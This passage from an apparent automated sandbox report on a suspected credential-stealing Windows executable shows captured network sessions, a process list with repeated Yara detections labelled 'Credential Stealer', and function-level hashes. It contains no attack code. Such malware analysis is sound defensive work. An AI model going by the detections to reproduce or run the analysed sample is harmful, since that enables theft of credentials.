</RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49968	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:00 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:00 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbe9ef63-901e-005b-3a83-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121100Z-174f78459685m244hC1EWRgp2c0000000y6g000000007czh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:00 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49969	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:00 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:00 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: e452b1fe-e01e-0071-0b43-4008e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121100Z-174f7845968glpgnhC1EWR7uec0000000ykg000000005c56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:00 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49971	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:01 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2d33395e-b01e-0002-651f-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121101Z-174f7845968n2hr8hC1EWR9cag0000000y2g000000004r4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49972	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:02 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 11ea4f02-701e-0050-563c-416767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121102Z-174f7845968cpnpfhC1EWR3afc0000000xyg000000009bas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49970	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:02 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:02 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4c44aa58-201e-005d-7b91-3fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121102Z-174f78459688l8rvhC1EWRtzr00000000b2000000000304d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:03 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49973	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:11:02 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:11:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:11:02 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 5d2a7f3d-001e-0046-1b91-3fda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121102Z-174f7845968xlwnmhC1EWR0sv80000000y8g000000004my1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:11:03 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	07:08:53
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd70000
File size:	1'850'880 bytes
MD5 hash:	D1675A39609D5CD41C268E70711C7EE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2068128721.000000000132B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1969065604.000000000132B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1969592075.000000000132B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1969046979.0000000001321000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1810218656.000000000131B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2070720241.000000000132C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1810240683.000000000132E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2068046614.0000000001320000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1861333026.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2067860031.000000000131E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2070760331.0000000001331000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1865270340.0000000001321000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1811318565.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1968740464.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:10:01
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:10:01
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1936,i,6285013393734485110,13074657082886557463,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:10:05
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:10:06
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2004,i,5650072745666498097,8566792970818888660,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 05C5E438 Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05C5E43A

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e13b3170de80d3f4f06a02757767ff9af59f485adbdc9d7e0701446fb1519dea
Instruction ID: efcd19c921a5d545384293c29e52528b2f0714208d2e59262ab1b82bcec7d154
Opcode Fuzzy Hash: e13b3170de80d3f4f06a02757767ff9af59f485adbdc9d7e0701446fb1519dea
Instruction Fuzzy Hash: 11E0C2F010C30D9FD7447F4AEC857BEBF98EB04714F01052CAB8506680EA320840C69E

Function 05C5E794 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05C5F602

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4c2f5c0aa6f0d78e79664546eb98e2cc9a7609783a01ac896a1681c2c01c5cb9
Instruction ID: 9723ba5138d5caf111ed1a9773336f9f0bd1c00753f23bd6b0beaacb747c4e61
Opcode Fuzzy Hash: 4c2f5c0aa6f0d78e79664546eb98e2cc9a7609783a01ac896a1681c2c01c5cb9
Instruction Fuzzy Hash: 22E0ECB450C699CBDB449FA590481AD7AA5FF01325F144998DC634A680D6225DA0CA5A

Non-executed Functions

Function 05CABEB4 Relevance: 8.1, Strings: 6, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 05CAC54C
u, xrefs: 05CAC157
c, xrefs: 05CAC0E5
,, xrefs: 05CAC285
m, xrefs: 05CAC4FE
4, xrefs: 05CAC590

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: ,$4$G$c$m$u
API String ID: 0-3532519265
Opcode ID: d0155d4056b26383a428434172e974d87199965f0ee5fde880757723009803d5
Instruction ID: f4abd7a62a93d755de8218c84d0b5921cb5ba38d1a85f72948d1b71a75f0134b
Opcode Fuzzy Hash: d0155d4056b26383a428434172e974d87199965f0ee5fde880757723009803d5
Instruction Fuzzy Hash: 611259B3F6152647F7640838CD583A2594397E1328F2F82788E5D6BBC5D8BE4D4A53C4

Function 05CABFBD Relevance: 7.9, Strings: 6, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 05CAC54C
u, xrefs: 05CAC157
c, xrefs: 05CAC0E5
,, xrefs: 05CAC285
m, xrefs: 05CAC4FE
4, xrefs: 05CAC590

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: ,$4$G$c$m$u
API String ID: 0-3532519265
Opcode ID: 8ade226d35aabc3fd44a4143b27306e472e1f9a502826d3b09e61ec3a2175a1c
Instruction ID: 7563ac2d7dfc3442a5602640df68be46da56c8c6d85cc9dd6ba4e7d58b6af77b
Opcode Fuzzy Hash: 8ade226d35aabc3fd44a4143b27306e472e1f9a502826d3b09e61ec3a2175a1c
Instruction Fuzzy Hash: 33E157B3F6196647F7640438CD183A2598367E1329F2F82788E5D6BBC6D8BE4D4A43C4

Function 05C94868 Relevance: 4.2, Strings: 3, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

AaZ, xrefs: 05C94E3D
r?, xrefs: 05C94D38
7P;_, xrefs: 05C94EAB

Memory Dump Source

Source File: 00000000.00000002.2401375000.0000000005C5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C50000, based on PE: true

Associated: 00000000.00000002.2401268033.0000000005C50000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401303448.0000000005C52000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401340051.0000000005C56000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005DE2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EED000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2401375000.0000000005EFE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c50000_file.jbxd

Similarity

API ID:
String ID: 7P;_$AaZ$r?
API String ID: 0-551090076
Opcode ID: caa1e8e51d252a7dde066fd720ff5f2f8bede8a89b3c4fc72c0386612c1b5b74
